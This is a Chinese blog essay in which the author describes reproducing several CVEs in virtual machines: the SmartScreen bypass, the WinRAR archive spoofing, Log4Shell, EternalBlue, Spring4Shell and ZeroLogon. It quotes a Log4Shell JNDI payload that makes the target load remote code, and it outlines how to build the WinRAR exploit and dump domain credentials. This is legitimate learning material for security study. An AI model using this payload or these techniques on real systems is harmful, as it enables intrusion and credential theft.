当前位置:首页 > 热点 > cve复现 正文

cve复现

时间:2026-10-17 05:06:32 来源:力不从心网

上周三凌晨两点,我在虚拟机里第三次触发CVE-2024-21412的弹窗时,屏幕右下角跳出了计算器。那个瞬间比任何理论讲解都管用——微软Defender SmartScreen的绕过漏洞,本质就是让系统把恶意文件当成“自家兄弟”。

复现这事儿,说白了就是给漏洞拍X光片。去年我试过CVE-2023-38831,WinRAR那个压缩包路径穿越。官方补丁都发了,网上分析文章一堆,但真动手时才发现坑在细节:构造的ZIP里得放两个同名文件,一个正常图片,一个恶意脚本,文件名末尾加空格。WinRAR解压时会把空格吃掉,然后脚本就顶替了图片的位置。我卡在文件命名上整整一下午,Windows资源管理器死活不让我创建带尾随空格的文件名。最后用Python的zipfile模块硬写进去才成。

工具链的选择直接决定复现效率。有人喜欢用Metasploit一键梭哈,我偏手工搭环境。CVE-2021-44228(Log4Shell)那次,我特意装了JDK 8u191,因为高版本默认关闭了JNDI远程加载。启动一个Spring Boot应用,在User-Agent里塞${ jndi:ldap://127.0.0.1:1389/exp},然后看LDAP服务器收到请求。那种“通了”的感觉,比看十篇分析报告都实在。不过得提醒一句:本地测试随便玩,往公网机器上打就是另一回事了。

复现环境要尽量还原。CVE-2017-0144(永恒之蓝)我试过在物理机跑,结果Windows 7补丁没打全,虚拟机直接蓝屏。后来改用VMware快照,每步操作前存个档。攻击链跑通那刻,MS17-010的SMB漏洞利用代码在Metasploit里回显了system权限,我盯着那个shell看了半天——原来NSA写的工具这么粗暴,直接往内核池里写shellcode。

有些漏洞复现起来像解谜。CVE-2022-22965(Spring4Shell)要求Tomcat部署成WAR包,JDK 9以上,还得有特定参数绑定。我照着GitHub上的PoC改了三版,最后发现是class.module.classLoader的链子被Spring新版本堵了。降级到5.3.17才打通。这种版本敏感性,看CVE描述根本注意不到。

复现完别急着删环境。我习惯录屏加记笔记,把每个报错和绕过方法都写下来。CVE-2020-1472(ZeroLogon)那次,我用impacket的secretsdump.py打域控,第一次失败是因为NetBIOS名称不对。第二次改了-target-ip参数才成。这些细节,下次遇到类似漏洞能省两小时。

最后说个反直觉的:不是所有CVE都值得复现。有些漏洞依赖特定硬件或极冷门配置,复现成本高得离谱。我一般先看CVSS评分和利用条件,3.1分以上且无需交互的才动手。毕竟时间有限,挑软柿子捏不丢人。

凌晨四点,计算器窗口还开着。我截了图,关掉虚拟机。明天还得上班,但那个弹窗证明了一件事:漏洞从来不是理论,是能摸到的代码路径。

推荐内容